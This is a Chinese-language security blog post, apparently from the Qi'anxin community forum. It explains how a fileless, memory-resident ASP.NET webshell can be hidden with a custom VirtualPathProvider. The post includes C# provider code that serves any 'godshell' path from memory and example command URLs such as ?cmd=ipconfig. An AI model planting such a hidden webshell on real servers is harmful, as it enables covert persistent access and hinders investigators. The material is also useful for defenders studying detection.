0x01 背景信息本次分享基于.NET2.0及以上版本支持的VirtualPathProvider类实现的虚拟文件隐匿手法,VirtualPathProvider类适用范围很广具备很强的通用性,而且也是基于在打点后维持权限的一种…
0x01 背景信息
本次分享基于.NET2.0及以上版本支持的VirtualPathProvider类实现的虚拟文件隐匿手法,VirtualPathProvider类适用范围很广具备很强的通用性,而且也是基于在打点后维持权限的一种高级手段,当主机不重启的情况下删除内存注入文件后依然有效。攻击者通过自定义访问的虚拟Webshell溯源难度更大,难以排查,具体如何实现的原理及攻击方法请看本文完整的分析
0x02 虚拟文件
很多场景下实现页面或文件隐藏可以继承IHttpHandler,IHttpModule这两个HTTP请求生命周期范围内的核心接口,并在web.config文件中配置映射的扩展和注册的程序集,与之相比,VirtualPathProvider更为强大。具体的适用场景例如在某些特殊的情况下网站常规的文件、目录编排方式不能满足要求,在.Net 2.0提供了VirtualPathProvider来实现自己的虚拟文件系统,可以把网站基础信息保存到数据库中,然后将这些数据库里的数据通过虚拟化技术提供HTTP访问,这些类通常定义在System.Web.Hosting命名空间内,如:VirtualFile、VirtualDirectory等,例如下图通过一个从 SQL Server 表读取 ASPX 文件的简单示例来理解 VirtualPathProvider 类。我们在本地 SQL Server 上有一个如下图所示的数据库表,里面保存了3个页面,可以看到表里有一个文件名和ASPX文件内容。
VirtualPathProvider类被定义在 System.Web.Hosting 命名空间里,作用使 Web 应用程序可以从虚拟文件系统中检索注册的资源,该类位于System.Web.dll文件,自身是一个抽象类继承于MarshalByRefObject,所以咱们再使用的过程中需要自定义一个类去实现,而MarshalByRefObject类是一个.NET框架提供的基类,用于不同AppDomain之间对象之间的通信,此类也是通过使用代理交换消息来跨应用程序域边界进行通信的对象的。
回到VirtualPathProvider类,实现该类时重写 FileExists和GetFile两个方法,VirtualPathProvider.FileExists()表示文件是否存在于虚拟文件系统中,告诉系统是否存在请求路径,如果存在,则事件通知继续调用 GetFile 方法,VirtualPathProvider.GetFile() 表示从虚拟文件系统中获取一个虚拟文件,代码如下
public virtual bool FileExists(string virtualPath) => this._previous != null && this._previous.FileExists(virtualPath);
public virtual VirtualFile GetFile(string virtualPath) => this._previous == null ? (VirtualFile) null : this._previous.GetFile(virtualPath);
GetFile返回的是一个VirtualFile对象,此对象和VirtualPathProvider一样都是抽象的,所以还需要自定义一个类去实现它,并且重写此抽象类里的Open方法,这个类的构造函数获取虚拟路径以及文件的内容,在 Open方法里处理的数据被保存到了 MemoryStream,然后返回这个流,.NET使用这个流读取内容,就像在读取物理盘符下的文件一样。
最后还需要在Golbal.asax文件中的Application_Start方法内向托管应用程序提供应用程序管理功能和应用程序服务注册新实例,代码如下
HostingEnvironment.RegisterVirtualPathProvider(new MyVirtualPathProvider());
0x03 底层分析
下图中以GetHandler类为起点进入.NET HTTP请求页面的生命周期,位于System.Web.UI.PageHandlerFactory类,如下代码
public virtual IHttpHandler GetHandler(HttpContext context, string requestType, string virtualPath, string path) {
Debug.Trace("PageHandlerFactory", "PageHandlerFactory: " + virtualPath);
return GetHandlerHelper(context, requestType, VirtualPath.CreateNonRelative(virtualPath), path);
}
private IHttpHandler GetHandlerHelper(HttpContext context, string requestType,
VirtualPath virtualPath, string physicalPath) {
Page page = BuildManager.CreateInstanceFromVirtualPath(
virtualPath, typeof(Page), context, true /*allowCrossApp*/) as Page;
if (page == null)
return null;
page.TemplateControlVirtualPath = virtualPath;
return page;
}
通过GetHandlerHelper方法调用运行时编译的核心类BulidManager的CreateInstanceFromVirtualPath方法,而System.Web.Compilation.BulidManager类涉及的GetVirtualPathObjectFactory、GetVPathBuildResultWithNoAssert、CompileWebFile等多个方法负责站点的动态编译,所有的页面、用户控件、以及所有的ASP.NET特殊目录都会在运行时被BuildManager编译和处理。
接着通过BuildProvider类的GetCompilerTypeFromBuildProvider方法实现将文件内容转换成相应的源代码,通常情况下在web.config文件中配置了不同扩展名文件选择不同的BuildProvider进行源码解析生成。例如下配置
<buildProviders>
<add extension=".aspx" type="System.Web.Compilation.PageBuildProvider"/>
<add extension=".ascx" type="System.Web.Compilation.UserControlBuildProvider"/>
<add extension=".master" type="System.Web.Compilation.MasterPageBuildProvider"/>
<add extension=".asmx" type="System.Web.Compilation.WebServiceBuildProvider"/>
<add extension=".ashx" type="System.Web.Compilation.WebHandlerBuildProvider"/>
<add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider"/>
<add extension=".resx" type="System.Web.Compilation.ResXBuildProvider"/>
<add extension=".resources" type="System.Web.Compilation.ResourcesBuildProvider"/>
<add extension=".wsdl" type="System.Web.Compilation.WsdlBuildProvider"/>
<add extension=".xsd" type="System.Web.Compilation.XsdBuildProvider"/>
</buildProviders>
接着System.Web.UI.TemplateParser类的ParseFile方法传递虚拟地址,到这里开始进入VirtualPathProvider类的OpenFile方法读取虚拟文件内容返回流数据
0x04 实现WebShell
从上述两个小节介绍的原理和使用方法来看,自定义的虚拟路径提供类MyVirtualPathProvider 需要继承System.Web.Hosting.VirtualPathProvider,必须重写FileExists和GetFile两个方法,FileExists方法里使用Contains方法判断路径中是否存在godshell字符串,如果存在返回true自动进入GetFile方法内实例化自定义的虚拟文件对象MyVirtualFile
public class MyVirtualPathProvider : VirtualPathProvider
{
public override bool FileExists(string virtualPath)
{
virtualPath = virtualPath.ToLower();
if (virtualPath.Contains("godshell"))
{
return true;
}
else
{
return Previous.FileExists(virtualPath);
}
//return base.FileExists(virtualPath);
}
public override VirtualFile GetFile(string virtualPath)
{
virtualPath = virtualPath.ToLower();
if (virtualPath.Contains("godshell"))
{
return new MyVirtualFile(virtualPath);
}
else
{
return Previous.GetFile(virtualPath);
}
//return base.GetFile(virtualPath);
}
}
MyVirtualFile如上所述是一个实现类,继承于VirtualFile类,重写Open方法因为返回的数据类型是Stream,所以在方法体内需要创建MemoryStream对象作为返回的值,当然笔者在该方法里添加进程启动代码后返回的Stream是NULL,另外在此类的构造方法里也可以添加达到同样的效果。
测试运行第一步访问 /dotNetofVirtuaFile.aspx 将虚拟文件注入到内存,并删除此文件;第二步访问 /godshell.aspx?cmd=ipconfig 得到预期的结果信息,第三步打开新的浏览器标签页访问 /godshell4.aspx?cmd=tasklist
0x05 结语
.NET这样实现无文件落地的WebShell技术还有很多,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET 实现虚拟WebShell系列第二章,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
- 本文作者: Ivan1ee
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1823
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!